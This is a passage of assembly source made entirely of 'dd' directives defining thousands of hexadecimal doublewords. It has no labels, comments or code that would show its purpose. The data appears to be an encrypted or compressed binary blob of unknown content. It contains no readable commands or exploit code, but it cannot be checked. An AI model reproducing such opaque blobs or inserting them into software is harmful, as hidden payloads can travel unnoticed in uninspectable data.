0D2F73D00h, 4757B1AAh dd 7FF800BCh, 8B1472F4h, 2A00A1A3h, 0A738F9FFh, 0B570Dh dd 0A6C9344Fh, 0C07DDCF1h, 8C104500h, 15AD2D95h, 0E3AECA5h dd 229B678Dh, 0F0FA05E7h, 0D5E8C3BBh, 5EBDEC00h, 0BEB4A86Eh dd 0CA0E0E6Fh, 0B6018EBh, 0A5A4CE93h, 899AD33Dh, 8FA87EF6h dd 61B4A05Bh, 35E229h, 4A883C5Dh, 0D69E0ACBh, 0CCE5F901h dd 64AACE2Ch, 9485C8h, 0C4FDFF0h, 0FFA67C02h, 0EE1F7100h dd 1E413404h, 0F89700EFh, 116780F1h, 9A004C92h, 56C62BBh dd 6A3AE9h, 0E84AD009h, 0B6EC940Ch, 670EC107h, 8570E4BCh dd 517843h, 1F6BF490h, 364EA861h, 66281200h, 0DCCFC9Fh dd 0E8D20355h dd 0F87E0905h, 22027200h, 8B44A8A7h, 0D8C80092h, 5BDCC67Bh dd 0B801B941h, 626D111Eh, 83CE526Fh, 0E84BE58Bh, 0C297F72h dd 0B82FA131h, 101D4F60h, 911E19C4h, 0B266D00h, 0E83E9972h dd 18CAE80Eh, 20B9EA17h, 0E11E7456h, 2B0F11C7h, 0ABC1DC9Eh dd 6904005h, 0FA2960E4h, 0C94E007Bh, 0CC39E6B8h, 6D00B217h dd 0DF09E8A1h, 0BBD563h, 14F08770h, 0B538E9A5h, 2D9738h dd 6EE0C0BAh, 0C0188BE6h, 0ABD6A191h, 0E7E04E6Ch, 7D2CE00h dd 0A804C8FBh, 9640002Dh, 98610B16h, 8830718Bh, 0EB9B3917h dd 0BEE1C0CAh, 3E2BB619h, 58DE900h, 0B23B9D90h, 5B6B0344h dd 218E7882h, 3054C097h, 46001197h, 43140AEFh, 0B815AA5Ah dd 241F00A7h, 73C6A30Bh, 0D8008637h, 3FFD925Bh, 19EE71h dd 0E5E9EABAh, 0C42C7649h, 0C4B6B00h, 0AC315E26h, 88190316h dd 6C2FF971h, 75A99807h, 0BC20F568h, 0E19E069h, 73B05F2h dd 96911360h, 3E009D45h, 0A5DCC16Ch, 3BD5F241h, 0C00CCEAh dd 72CE846Bh, 3200F613h, 0A06FB5A2h, 0E730DEh, 785498A5h dd 83D2272Eh, 3100B2E6h, 0F10468BCh, 0E2D9355h, 8580AB94h dd 0A06C0073h, 0D3C816A1h, 88B0D10Eh, 636A4169h, 98307797h dd 6DEC0718h, 6027377Eh, 3EFB74CFh, 0ACD0A116h, 36D3A000h dd 137B2D1h, 6C59680Eh, 204D164Ch, 5E07C2F7h, 8E03EA5Dh dd 97EC6B90h, 137602F7h, 9F166447h, 0CEFCA460h, 30C5500h dd 5C62741Ah, 9D0D0E19h, 0B2495Ah, 1E7E9CEFh, 83001206h dd 0FCBDF12Dh, 14CDA2Ah, 0A4432F10h, 80F2F989h, 0D76CAE36h dd 2EE37B70h, 3D3CACh, 76869193h, 64EAF165h, 0FB573600h dd 47CC2351h, 6AAE00CAh, 0C18EF403h, 0B2001410h, 4F3E1EDFh dd 39C73537h, 0C80052A0h, 0B016FA9Ch, 5C098676h, 829034C6h dd 48CBB230h, 74F138h, 628103DBh, 911331Dh, 61FDB600h dd 3679F49Dh, 0C96F0F1h, 864FFBCCh, 5C7EB1FCh, 3B6EB21Dh dd 19F14540h, 74A5E56Ch, 93650079h, 0CE0CD22Eh, 4A006DB7h dd 9787CCFEh, 1C92E1F3h, 8DEC51h, 6CE0BB40h, 0FE006F38h dd 22F46562h, 1FEA7064h, 3D7133Dh, 0F1481553h, 0D1F4590Ch dd 7DB89968h, 1D07F35h, 43BFB0FAh, 0EC752466h, 69004E83h dd 0CE158757h, 1CC484C2h, 0BEBA1394h, 0F25C478Ch, 3B008550h dd 0B7B88CCCh, 6EE9864h, 32978D2Fh, 300020EFh, 8B85E5B3h dd 2C24DA2h, 4506684Bh, 6A00F49Bh, 37844CEh, 0E2E1D910h dd 0D818FC62h, 38B1E76Dh, 4ACA007Bh, 5EFE2F94h, 0EE000363h dd 6EC2189Bh, 0FB9F68h, 22F1617Dh, 7C80DD2Dh, 72D83A1Dh dd 7880E99Dh, 208F9948h, 97DB3B6Bh, 21C9188Bh, 93FA9B82h dd 3FB0CDC0h, 74985000h, 485D1FD3h, 69A90F71h, 10E02309h dd 13663D64h, 0C4260A07h, 2C90061Fh, 0E8DDC68h, 4681EE3Ah dd 6EA60B80h, 89011DE0h, 39EA581Ch, 44F0E57Eh, 7ADE7CFBh dd 7B8FA0C8h, 1FDD0081h, 7CA5E316h, 0D20C4327h, 85EDE3Ah dd 49760Ah, 4DD9B61Fh, 0A3067CCDh, 15D87A00h, 0A571D509h dd 0F9920088h, 9BD6DD66h, 0A30FF70Ch, 8C7414h, 34ECA568h dd 0AB981F32h, 265E2C8Ah, 0BFCB00E6h, 134A902Dh, 85FC20C6h dd 90686038h, 6FDAECF6h, 80076937h, 0D3558681h, 0C725430h dd 7152CA73h, 21C07808h, 0E2D08E26h, 0FB9D005Fh, 666B8C36h dd 60002508h, 0BB7E3AFEh, 98F63EAh, 0CD6D1D98h, 0F2184E0Ch dd 72A61F0Dh, 2E604808h, 0E2A10787h, 76B6502Bh, 0E760095Dh dd 5C6F9D21h, 0BF770046h, 7173933Fh, 8409CF25h, 0FDBD756Ah dd 0DBB62180h, 7E0045C4h, 31CC03Dh, 3AB1170Bh, 0BB80AC4Dh dd 0B6C382D1h, 0C600F55Ah, 85B764FAh, 0F0980F2h, 0D810B9FCh dd 95EE20C0h, 0E1025125h, 1F4419FAh, 0A1E3C0B8h, 9B7B35h dd 4D5930FFh, 0EC10B390h, 4F0D7A00h, 0A3A2CEF6h, 0DAA71E56h dd 0B942405Fh, 222D946Ch, 44E97500h, 0F5581E3Ah, 0E0990037h dd 0DC27AB0Fh, 420501DEh, 45AD1D09h, 240468h, 0A7C5B5A4h dd 1EAFD091h, 303094F8h, 0A30D2129h, 339E4E9h, 0A8B69E19h dd 0ACA29591h, 0E892CA20h, 391C0077h, 3E79CB6Eh, 961F53C4h dd 0A181FD2h, 20811488h, 9501D0A7h, 6FD5CC90h, 92C043F4h dd 0D714A0B9h, 64EC0358h, 0C4795296h, 0EAE02FDAh, 32761219h dd 35088E00h, 50FF31A1h, 941D009Fh, 0F28F54F5h, 0C139AF44h dd 7460877Ah, 0A46056F3h, 1DB95594h, 0C67221BDh, 9D48E6Eh dd 207B5630h, 0BDB0B5h, 0D0DAA569h, 7AE87CBFh, 29F01000h dd 0E72B9FB4h, 99620085h, 0F587D20Fh, 2AE2A471h, 9560101Eh dd 3D149F00h, 0C692675h, 331E3646h, 60C07408h, 4A1A7FF5h dd 0E3FE8Eh, 4E7C071h, 0D26156CAh, 90646B0Ch, 13F484Eh dd 0B6973944h, 0F71EEDCFh, 0D009E7D1h, 0F200A85Eh, 9733353Fh dd 19DC66h, 7FCF39C8h, 9CE009C5h, 96A420C0h, 0F82217B2h dd 0D45A0005h, 0DDEB6F6Eh, 6D18F5E4h, 0A4688052h, 21500034h dd 0CBB1102Eh, 0CCE20159h, 0A48980E9h, 2720FBBAh, 773A1EC1h dd 0EEC28903h, 60ACEE80h, 0C610FB7h, 6D2A9428h, 3A246040h dd 2757C42h, 3996DA0Fh, 9C895C53h, 0B0D8AF80h, 2000243Dh dd 690B84ECh, 0A3577Ah, 7D22A16Ah, 5D3E9FD9h, 0A0118B1Fh dd 8AE32B80h, 0AA7BAC5h, 0F3B747FBh, 81350018h, 693FACC8h dd 88532E00h, 3634422Ah, 4BEE2C24h, 52FD02AFh, 0E3DF0EA5h dd 0A169A05Fh, 1F6C7D95h, 362BA24h, 0E5E65B35h, 83A20AA1h dd 86DBC858h, 296789BEh, 75B512C8h, 0CBCD038Bh, 2450E46Fh dd 28354801h, 0D377D468h, 8EFC8h, 0EC254D1Ah, 0F5BD52D8h dd 0C5BFAC00h, 0ADAB7483h, 60E035Ch, 7E98E287h, 24001873h dd 331A4CB9h, 27404Eh, 9D840DBDh, 0E0580247h, 6E684F60h dd 1939A29h, 2D4E79FEh, 0D0740B65h, 20C033C1h, 0F29A59A5h dd 2890B3h, 0B80DAB0Ah, 232C49F7h, 19B49250h, 0EF22DE00h dd 0CDFA5CB5h, 0ABFCDFh, 7A4A76A4h, 5E803411h, 0C1BDA700h dd 0C5FF474Bh, 579A0A2Bh, 2CE369D1h, 41873ACDh, 30B00777h dd 0B24BA22Fh, 0C708D263h, 46680089h, 99F00776h, 2E03D68Eh dd 1F42FEF8h, 2989003Fh, 0D002E9BAh, 5C006A0Dh, 0A4D7B1B9h dd 139387h, 5FC517B4h, 27BBD0F1h, 0A53C3F1Fh, 0EF2B20C0h dd 582A48h, 0E7F9672h, 0FD1599FCh, 0E19A6300h, 0E8BA46E9h dd 6C1D1FA2h, 0EC458051h, 64CC810Dh, 0C7B65200h, 0FB77A85Bh dd 255400E2h, 0CB4DBBCEh, 8A7A71F1h, 0AB024200h, 983AF2B6h dd 6012E8B5h, 8927204Eh, 8E038BE2h, 0ADB1EE3Eh, 401CDAFEh dd 0E5D138h, 0FA9A5865h, 0FC0768CFh, 31615Ch, 6E8951F1h dd 3FB92239h, 93005F43h, 4F247026h, 4E007A5Eh, 516996A3h dd 0E8551AAEh, 11C500F4h, 0E69114D2h, 7E195F75h, 0F00824D3h dd 0B332180h, 4ECEEB14h, 7068EF60h, 0EE553F8h, 863257F0h dd 0DC9B0077h, 8F4B7108h, 14896700h, 0F555AF7h, 0D94600FCh dd 7A90FDB1h, 59CE32FEh, 18E4855Bh, 4208444Eh, 3025E643h dd 0F30B78CEh, 0F52131C5h, 0BD00A60Bh, 0AE055DB0h, 9A1DE77Eh dd 74401D37h, 0FDC7DC1Fh, 0F0A2009Dh, 7DD1B367h, 6F033052h dd 79FA7C2Dh, 56703960h, 8045E21Dh, 0CF40EBFBh, 0C0011522h dd 97F6C707h, 0B4407EC9h, 0CF3CBDEh, 492519B9h, 1C0BEEA8h dd 80B1282Bh, 602ED3D3h, 367C2Ch, 50F0A7EFh, 4CCE8EA6h dd 2EA6E34Ch, 3609F8FCh, 0B614010Ah, 0C2364F7h, 96004123h dd 8B023EBEh, 10ED86B5h dd 98BFA57Bh, 2E3B00CCh, 0E623A9AAh, 541DA7FFh, 0A2C3D60Ah dd 0E176459Ah, 0E880EF95h, 0AD042F65h, 7D0C68B9h, 83D1A58h dd 50FD0077h, 4308CF4h, 7BF8A96Bh, 0B4D56D00h, 7D7549F6h dd 5C3F01ABh, 133EEC5Dh, 0E1D45061h, 0A307B8DEh, 29FF9B20h dd 0E9266610h, 0D8FE0681h, 284BE4DBh, 4C59F124h, 4D1BBF41h dd 0E0B663CCh, 7721015Ah, 37A98708h, 44BC20BCh, 6B85C405h dd 980410FAh, 0D4012982h, 0BBF3793Ch, 1DE58250h, 48A212DEh dd 0CCB4664h, 64A4581Ah, 0EC1E94F0h, 86BE7C17h, 55D25C1Bh dd 0A0455008h, 0C9FD0051h, 93A82418h, 190CE628h, 4866D0CFh dd 62028C0Ch, 961A1E18h, 104A1929h, 172497h, 0BF419DC3h dd 4F1163C6h, 0D597009h, 7B782403h, 5A8C2080h, 0F2412A0Fh dd 0CD6421F8h, 64BFA98Eh, 6D6390D0h, 8810F116h, 729EAE0h dd 0B358BED8h, 0DC8A86h, 39A07F77h, 10C2F8FAh, 0B321459Bh dd 0A6FBD0FCh, 374046B9h, 85E0C028h, 90090495h, 42D31CC7h dd 61067E12h, 0B1F5C713h, 9023D219h, 0D4242151h, 0DFF9F025h dd 65DC0CC1h, 0C41E2F91h, 1780E0AAh, 0A195493Fh, 578E0373h dd 0BBF2177h, 0CCDEF690h, 0B000EE74h, 18675542h, 0D38F2Ch dd 0A9A2D5E1h, 219F8546h, 0CC842900h, 59542056h, 5D570098h dd 0A25C1F80h, 0AF01790Dh, 0C9A3A16Ch, 41E01058h, 0D28F3008h dd 0EB231749h, 0A4B17A00h, 2821A16Fh, 9C991FC7h, 401500DEh dd 33CA83E4h, 8CAB9500h, 3E62AA32h, 4159C08Bh, 0D2CEDEE8h dd 0A50F163h, 0AE0818E6h, 574B20ACh, 3383E000h, 0EFB90CC8h dd 0DE7008Ah, 242E22E6h, 3603B634h, 0DF55D0B4h, 9856A8A7h dd 4668C88Bh, 0D262F4C1h, 86D751C4h, 3B08520h, 0BA62F377h dd 0BFE8EE78h, 0C40181E8h, 57921F7Bh, 2F208Eh, 0B00C1A5Ah dd 0A901F78Ch, 4855D5F6h, 4420D761h, 8AA8A036h, 0D4DF0087h dd 4DB8DA4Fh, 0CD66BBA6h, 1C49AA08h, 0BCD4E02Eh, 0C0D56400h dd 81B00D5Ah, 8221AF60h, 0C7DD0557h, 9035E969h, 8D965AFFh dd 80001DF8h, 1E0BB792h, 294C55B4h, 70789810h, 67428A19h dd 5AF2E900h, 6D3A52DAh, 3C8D4803h, 95CC75ABh, 0B8218C47h dd 5AA89341h, 0EA1824h, 64A38869h, 2CAC793Fh, 186AF63Ah dd 80208415h, 0E7880068h, 49A653B4h, 3A7406A2h, 0B6361517h dd 3BF30201h, 9C42574Eh, 0D4B733h, 6D7A0CCEh, 0CD1F42E9h dd 2846ED39h, 39C08371h, 4C857D7h, 89533DFCh, 0B2C6068Ch dd 7D083EAh, 0CBED6CC8h, 514C503Ch, 500909Dh, 12A1D8BFh dd 0F5EF83h, 1EF06569h, 78DDE5A9h, 0A03E2B0Fh, 47B8BDAh dd 1382725Bh, 0BAB28029h, 0CAA175h, 94FC179Ah, 9DEF8D2Fh dd 218208CCh, 9AF458h, 0BF44DCCBh, 54A5817Ah, 25015198h dd 63E3AA9Ch, 20E4A6A4h, 53050040h, 5E834981h, 0A807DDE4h dd 0A4EB995Dh, 95509Ch, 23FE72A9h, 29D6F44Ah, 38085560h dd 0BA4994h, 457291E2h, 336B3534h, 46983D01h, 8807D06h dd 0CC0DECh, 0A875BBF1h, 0B7433FD2h, 0DE9BE8C1h, 0A080C081h dd 0B8CC1041h, 9E3EB495h, 29DF0044h, 25CA1BD4h, 0A3C40208h dd 0DC4DC64Bh, 8E609804h, 52EC6772h, 81D7308Ch, 7D2DB520h dd 26E8FA1Fh, 2E03125Dh, 0BBA2DAh, 1FC5F041h, 0B6963E86h dd 38E7FA03h, 0C339A77Fh, 8CFEF978h, 5900B0BEh, 0BDFA545h dd 35001B75h, 0D16B22F6h, 6F0F73h, 0F8097ACDh, 8CCC2D42h dd 4192A800h, 6508F0B1h, 7CEEE6Eh, 597537E1h, 0BEC50CCh dd 19FE84DDh, 8889760Eh, 0F0B240B8h, 0CD9699h, 365A70BEh dd 0C45E1F33h, 750C4500h, 3D825BAFh, 0F1A80095h, 0FFA3CF2Ch dd 9D3AD55Eh, 0E2833DB7h, 87C660A0h, 5C70C3D9h, 8C3502h dd 2D1D3C16h, 77B65FE2h, 281C6300h, 0D1C49AF0h, 5B0C07DCh dd 60207481h, 0FE9E2EE2h, 864F7300h, 0E01454A6h, 39010040h dd 0F01249B9h, 9830A362h, 8DBF182Ch, 60760120h, 825ECA46h dd 1BD8BC0Ah, 0E090CD9Dh, 35CE11h, 0FD4E28D6h, 83109C49h dd 30B68B00h, 32051465h, 687402A0h, 89872F5Bh, 0DCF655C0h dd 299F4800h, 42E19A4Fh, 71A6246Ah, 10B119D1h, 81045FDBh dd 0DADEDD04h, 935CF0h, 114190EFh, 21D232A8h, 80EBF73Bh dd 56E7228Ah, 70EC4Dh, 0AE7ED0EEh, 10620BF2h, 140B28E6h dd 0E9C266h, 0F039FAE7h, 0B9F40E1Dh, 21E0AFEAh, 0FE7F243Fh dd 0DA61D900h, 64346B51h, 0A4D21CC0h, 5A00F9DFh, 1E0644D7h dd 0AA0055B8h, 0AD669827h, 483E38E3h, 700796DEh, 5EC313h dd 0E6271FBFh, 76C68900h, 0CB804F5Dh, 84200042h, 6286E0FEh dd 4500DE0Dh, 0DAFA229Eh, 1E81F299h, 5A30433h, 0C96575h dd 0E0222CE3h, 43016C89h, 263964FCh, 1CF0975Bh, 19A91F07h dd 0C1CF5E35h, 7F69037Ah, 9C9DE8C9h, 8A285C17h, 0C085C00Fh dd 0CDC466ECh, 2800045h, 0FA9DE68Eh, 69037F13h, 49EBBF6Fh dd 0CC0FD01Ah, 95FF50BAh, 50BC3B2Ch, 0C01C28h, 218CF3C4h dd 2742460h, 58E63200h, 55AF7A89h, 0D1000C5h, 43404C27h dd 1D026DB3h, 0B69061CBh, 1FE8A045h, 677CC4h, 0D6A27627h dd 0E2E56699h, 4A96EB00h, 0B45A911Bh, 9C4F003Eh, 6CA0538Ah dd 36017D82h, 0F7BCE279h, 0E3E0079Ah, 426D0566h, 0A6F3C7h dd 0CE06FF98h, 0B204248Bh, 0E6628FA9h, 18DD3BC0h, 7CEA4Bh dd 0A39C7625h, 0F21D2606h, 97358C00h, 0D5C16C01h, 91E900EAh dd 54CB6EC5h, 2D00DC66h, 1CDFAF4h, 0F39BA6D2h, 0B24BF8h dd 814C433Bh, 9C732D40h, 526F1300h, 0A6D3C25Ah, 51DE00C4h dd 6BA418F5h, 560BDF8Ch, 0E5A299Dh, 0AFBF40ACh, 0B732C5h dd 0F6803A28h, 97A99B3Ch, 2612F8E0h, 7C00BC0Dh, 0E0197ACFh dd 8AC00E47h, 7CC1B505h, 0C8EDCEACh, 3700BAD3h, 3887D82Fh dd 211CD2h, 4F7BAFB5h, 10A13079h, 8F00BE6h, 778F1F00h dd 0ECE3160Ah, 9BEA262Ah, 0C74A0069h, 86F3BACDh, 210078FAh dd 0C6F4A7D9h, 0F258AFh, 4502E8B8h, 74845344h, 0FEA92101h dd 7F649F8Fh, 9951E852h, 0D8F834B0h, 95B600B7h, 0B2065726h dd 141E8D04h, 4C40F25Eh, 7C828E0Fh, 0DF801218h, 0C5400059h dd 3224304h, 627E5700h, 6E32C4CCh, 781490DAh, 0B5E20FF3h dd 37E09D15h, 0A1EC7B89h, 4CCEC700h, 6CCDEF8Ch, 0EA1D1357h dd 271840BBh, 81C60A7Fh, 21713200h, 0DE7A9B93h, 8357006Ah dd 612ED152h, 6BE27CC6h, 0B88B5003h, 8098BAE6h, 0E475A918h dd 9F50BD27h, 80CEE83Ah, 55BD3F2Eh, 410784h, 3B051909h dd 7960CCABh, 0E6B72407h, 4A809932h, 0FAC9Eh, 4B59F6EEh dd 534D96C8h, 47BB7401h, 87345738h, 3CC55DF0h, 8F05A360h dd 0C03F5C50h, 0AD5ABB33h, 35181A00h, 560F2181h, 0B74A5C16h dd 9C973700h, 0C4016122h, 852CC800h, 4923FDFh, 2625077Fh dd 17E5639Fh, 80F78483h, 0C9D7A795h, 6AC34300h, 9C54B4BEh dd 0BB81445h, 3900C180h, 5E7D1766h, 0FF6012CCh, 585CD80h dd 53CF00A7h, 9760B63h, 8F007A8Eh, 6126C4DFh, 0FFFD2B8h dd 1F8949F2h, 0DD8DB7A1h, 2EE0E011h, 19122703h, 0E8ED79FEh dd 1CEAB0h, 113B7D0Eh, 0B275F42Ch, 0A839E100h, 0A9885678h dd 0E09001h, 0C2E3E4A5h, 242BFD73h, 0EC1BBD00h, 0FE647E99h dd 0ADF85Ah, 6BC32EFCh, 3EDC584Dh, 0CA235E00h, 669BB3EDh dd 0B7AE00F3h, 3A1F0C7Bh, 3300A8BBh, 3FAD8162h, 0EC8EBC2h dd 0CF20547Ch, 4CB6B881h, 0B1DCF872h, 0BC294000h, 0F9240269h dd 27431337h, 5FC440F4h dd 1FD54AE6h, 77412100h, 10C36C8Dh, 0E81D0765h, 8069532Ah dd 0ADC228B4h, 14581702h, 608AC6FEh, 9154AD8h, 0E193D721h dd 0C7809800h, 0EC006716h, 5097E84Eh, 830D78h, 0DC2BDAE5h dd 0D75CD989h, 0E4FBB707h, 0F6F0C1A3h, 11115E7h, 0E9499210h dd 0D469F398h, 6800A76Fh, 83FE8B4Bh, 4F97CDh, 8C18861h dd 6AAFD8E7h, 39C3F700h, 7747FA7Ch, 3F93B0E1h, 299F4DE2h dd 902620h, 671BEDA3h, 1300EA9Ch, 0EEE2E13Eh, 0CADB24h dd 563F5961h, 2A7EC7F5h, 0DE098300h, 37F19FC1h, 81CF00E0h dd 17073C3Fh, 5800E76Bh, 4E702582h, 5C0477h, 0E39E4EEh dd 432A6837h, 0F6BF8E00h, 1B9BD236h, 0EA2C008Dh, 0E1ABC719h dd 900A88Bh, 0B33643AEh, 0F4E5E418h, 9FD03CF2h, 0D5871A80h dd 1211079Eh, 9A21E300h, 2F1DDBA5h, 953F00E2h, 56B70AFDh dd 4300D14Bh, 6153723Eh, 7E381C77h, 0D35F00CAh, 9ED02FA1h dd 0B47DEC7Eh, 63029C00h, 31A6C898h, 0FB7E09h, 0DCF7F008h dd 0B887C4B4h, 9912350Fh, 703F039Ch, 2F56E0CCh, 4FA60BB7h dd 0AE80A07Bh, 8CB6FB52h, 0C9901500h, 0AA45FDB8h, 0B43B0E2Eh dd 0A7A03E3Ah, 67D67F93h, 0B029601Ch, 68D0E840h, 0F4B20A92h dd 24401F6Dh, 3A80CF96h, 0D70778BDh, 0B1D127B3h, 200694D3h dd 1B3BE487h, 51B4806Dh, 0DE2C86EAh, 150C030Dh, 1858AA93h dd 0A8A8A583h, 0BB3F731Dh, 0EB678002h, 98F04407h, 12B31D16h dd 2417C05Ch, 25A56ACBh, 34234C00h, 7C66CF30h, 8FA43078h dd 415F890h, 0A52ADB03h, 8E6936BBh, 1EEE3F18h, 65116380h dd 66E18044h, 0C680A0Bh, 129A80A6h, 7EDBBCEh, 0B105365Ah dd 0D5F870E9h, 0B824E1C8h, 1F00B925h, 47841395h, 721E00B1h dd 628DD95Dh, 9EF093E8h, 992E323Ah, 0B3A92405h, 0A7ACD4h dd 394C3014h, 65DA8609h, 64C34F24h, 0BB7D1Ch, 74B8914Dh dd 163B5685h, 0A8AC9D06h, 640529A4h, 10178642h, 6B1EF152h dd 7EBB0Ah, 6ACAF2E5h, 34839540h, 408841B8h, 0CC1AB494h dd 2700B16Eh, 44C6FAAEh, 1DB24EC0h, 4DA0EEh, 0FF7168Ch dd 4A00DB20h, 0EA43884Ch, 0ECB414Eh, 50659C80h, 60FCD4E0h dd 0A1009B7Ch, 0DEA4DD75h, 0EC03A20Fh, 1619F417h, 0A757B0h dd 0AE8D2810h, 0E4E3336Bh, 0C300A9FCh, 0DB759DBDh, 60EE6Dh dd 35035F72h, 3B270AFBh, 0AAAB5807h, 208F2D4Eh, 8C80EF4Dh dd 0AAFE78A4h, 4AC0880h, 12024B64h, 0CBD4104h, 0C030563Ah dd 0A578AE64h, 0FD050026h, 974138FBh, 0AC7CBF10h, 0C2B9F28h dd 46101D43h, 62F98891h, 1111906Eh, 9E22910Ch, 10AD4304h dd 5849842h, 859E21CAh, 90422108h, 84679710h, 2421F059h dd 86150861h, 8826D21h, 5242AB71h, 0C0D1183h, 293CA9EBh dd 0F9584984h, 813C9570h, 0F8D03C11h, 0A0495B47h, 51247C4Ch dd 382A1585h, 6D6F230Ah, 0BD80B83Bh, 0F1D77BADh, 4B570695h dd 39AAD010h, 0D60CA6E0h, 601C1BF2h, 0FB3D0712h, 60D1B909h dd 0DB45C5A1h, 0F069F700h, 303C3B31h, 60620059h, 6E5DCB22h dd 0BB605A6Dh, 8090F208h, 5827006Ah, 0AAD4C6A1h, 87703CEAh dd 2CED4614h, 0AB56C14Ch, 788EAA1Dh, 53018826h, 70AF5006h dd 84A04769h, 0A800936Dh, 0BD96DB83h, 78F8C0Eh, 84903B16h dd 46C02FB4h, 97E2E09Dh, 0C5A25700h, 2D8C8A4Bh, 92380A24h dd 0C41C9520h, 2668B2h, 2A1D745Ah, 0F7DFB186h, 573CE31Dh dd 33853B05h, 5710C02Ah, 0DE7F0089h, 8635B2B9h, 1440D0FFh dd 0B54A0501h, 0DC167265h, 2500D57Fh, 67A927F5h, 0FEA282Ch dd 799BB551h, 405CB22Ah, 0DB7CA833h, 0F2A38500h, 4C949856h dd 0DCC30128h, 5CED40C7h, 5F65D096h, 549C1E1Eh, 5C86180h dd 0DB13F9Dh, 0C015D342h, 3A82088h, 1871E304h, 1080B2BFh dd 14C7DF3Fh, 145F4622h, 0B7C3047Dh, 31FD14Fh, 103FB950h dd 0EC6241B0h, 0B2AF46A2h, 4C9CB4h, 3C45E058h, 0C9699DDh dd 3E70107Bh, 64835A24h, 40564B80h, 9A8EC874h, 33AD2438h dd 0E101803Ch, 51109BCFh, 4BCC8154h, 920EF7B8h, 9E33E58Ah dd 9BB18B80h, 122CD9AFh, 6268965Dh, 9E1DC474h, 0CDD2C094h dd 0EA88A730h, 0B30E5600h, 0C39960FEh, 3ACE65Eh, 0D88E75F0h dd 2CD85D37h, 9E74F303h, 47582405h, 0AC835B06h, 20C629h dd 765134E9h, 84681FD4h, 13D2C0F3h, 0DFA56F07h, 37401A93h dd 7F61E292h, 0BDD53B6Bh, 0F5470287h, 3251E156h, 4F308F8Ch dd 2AD9A658h, 0B2A00058h, 739A77FEh, 0EA78E2DDh, 480C1100h dd 56CB088Fh, 0E4500024h, 24B0D0Ah, 5F0016A9h, 1CDC8655h dd 0A56F7BACh, 39645044h, 0E5DD84A8h, 2DCD6801h, 12DC3AF7h dd 372ACC0h, 238B3DE6h, 0CEC0A35Bh, 0E21D3BA5h, 0B6001427h dd 0C512022h, 4B39020Bh, 0E6613E8Ch, 734AA660h, 7200CB74h dd 972C2E11h, 0D8228Dh, 0A3965E18h, 39AC0E7Bh, 0C9B06106h dd 8927BFh, 0EF906928h, 867D1413h, 0E3FEA002h, 94681881h dd 0B8A80E84h, 43858BA4h, 0C2A0008Fh, 39AFF75Ch, 0A533F100h dd 0B424D5C1h, 0F09AE622h, 1A580054h, 0C7A23992h, 401D072Fh dd 0D58949F7h, 69042097h, 1ECDBE0Fh, 19555A3h, 5B0EEE8Ch dd 0BFD04053h, 3288C8E2h, 521C03B5h, 0E51DB4EFh, 0D39DA098h dd 43A18300h, 0EBA39747h, 18EF285Ah, 0F7A7CB4h, 0BE4BD280h dd 28DB73E3h, 0B83DFC8h, 0F65AE818h, 55D80h, 0A0E5D9C9h dd 0ADF0D725h, 0B6CD20FFh, 0D43BF3F2h, 0EDEBEF9h, 7598891h dd 53415476h, 0C2245AFh, 1C1B66BCh, 87D8EE60h, 4887664h dd 0FE351E89h, 534813Ah, 4A6AC10Fh, 6FEE7FCh, 79C88C08h dd 0F46D5202h, 90064200h, 0C9E23112h, 81D80A7h, 0E0448520h dd 528A5699h, 0BDE03500h, 0A9B3D21Fh, 121E0F64h, 20986986h dd 4B07A03Fh, 4FFACCDBh, 0D8650E30h, 0CBC68998h, 1601021h dd 0A5D7FAA1h, 0FBE71752h, 1001BE85h, 5ABD37F9h, 10CD9108h dd 95E921CBh, 4B7800E7h, 93E23063h, 109AF39h, 20EA4Ah dd 6EDB7D6Dh, 5266063Eh, 0B0B9ADFFh, 39610DFCh, 5E8736D0h dd 494C4081h, 0B9BAFACFh, 0AB8D8h, 5C280873h, 6CB994Bh dd 0C0974D9Dh, 3918908Ch, 5A405D0Ch, 256803DDh, 4D9306C3h dd 1D004876h, 0CD3664A8h, 308AA4D8h, 0FFC9AA2Bh, 0CE8FD93h dd 0DBB4C106h, 1CA04775h, 5968DC33h, 603948E6h, 20295010h dd 490CB0D0h, 3C80C0B6h, 70005CE9h, 51E30453h, 0D0ABFA90h dd 85A7EAD0h, 48DD8A4h, 5D5B2BC1h, 0DA21085h, 21A800F1h dd 52852219h, 0B9A51018h, 70962BA8h, 0B53C0AB4h, 16985A91h dd 29C51821h, 0FD402E02h, 5E448632h, 0C72C4431h, 0C851516Fh dd 0FF6C84B5h, 504D0E42h, 8B934100h, 455A3B7Dh, 11BB8A00h dd 0E3EC0853h, 46740962h, 8200427Fh, 0A3369F1Dh, 1C843300h dd 6D48DB90h, 2E4E03A8h, 8B542446h, 0C9D4B9B0h, 800D5C3Eh dd 9CF8F02Ch, 3BEAA731h, 5E946E29h, 0E600AD11h, 3CF97FFEh dd 2800E29Bh, 0E8F7D8C7h, 702112h, 4AB0C5E1h, 48B97BF2h dd 1798F9E2h, 32058007h, 1911A370h, 0F7C8CA1Dh, 0D91E0327h dd 5991E518h, 4FA23D0h, 0C139A12Dh, 40E2439Ch, 143A8Ah dd 0B16557B8h, 51E1ABE6h, 7077353Fh, 0AC7B3Ch, 961B013h dd 4B7A3Fh, 0A1CAFAD1h, 0B244E90Fh, 5D1DCE00h, 0D64F2DDh dd 9066772Ch, 42F8010Fh, 1BFC7E3Eh, 2AC8D4A6h, 0A48FFCABh dd 0AEB890A2h, 7C071E8Fh, 0ED4F382Ch, 0C7C3E737h, 0CEC1F5AAh dd 88507D74h, 3A5B0B8Ch dd 8F005809h, 0E30E1EB5h, 0E27516BAh, 0C5C9EA00h, 27FF860Dh dd 555B03CBh, 68B203D3h, 0D195A0DFh, 1E1C2CF4h, 5BC678D0h dd 98D29Bh, 5328606Eh, 7CD8808Ah, 0D7188B73h, 4750F93Ch dd 0C2C700DAh, 0A9045788h, 6F1CD25Ch, 0C183AF8h, 7C7D8111h dd 0C793019Dh, 7940E19Bh, 0D670203Ah, 6ABF6603h, 33BFF51h dd 0A30A6CD0h, 0EC8898C9h, 1C09147Eh, 318128h, 7B974404h dd 18A101E8h, 0AFECB7C1h, 22D8E075h, 40E50800h, 0F669A6D6h dd 0F868000Fh, 0BAB52312h, 5200C007h, 5548BEA1h, 561C67h dd 95FB10DEh, 0EA456E60h, 0FE1930C0h, 0B34DF5h, 0DE139087h dd 884E837h, 0C800CFFCh, 0E17A014Bh, 3FF29AFEh, 0E90E29D6h dd 0E50194A4h, 0ECB21A74h, 0F800DEC8h, 0CD8AFBFCh, 3F9B631Ch dd 52879EB5h, 60A6503Dh, 8C1EAE6Eh, 0C914461Dh, 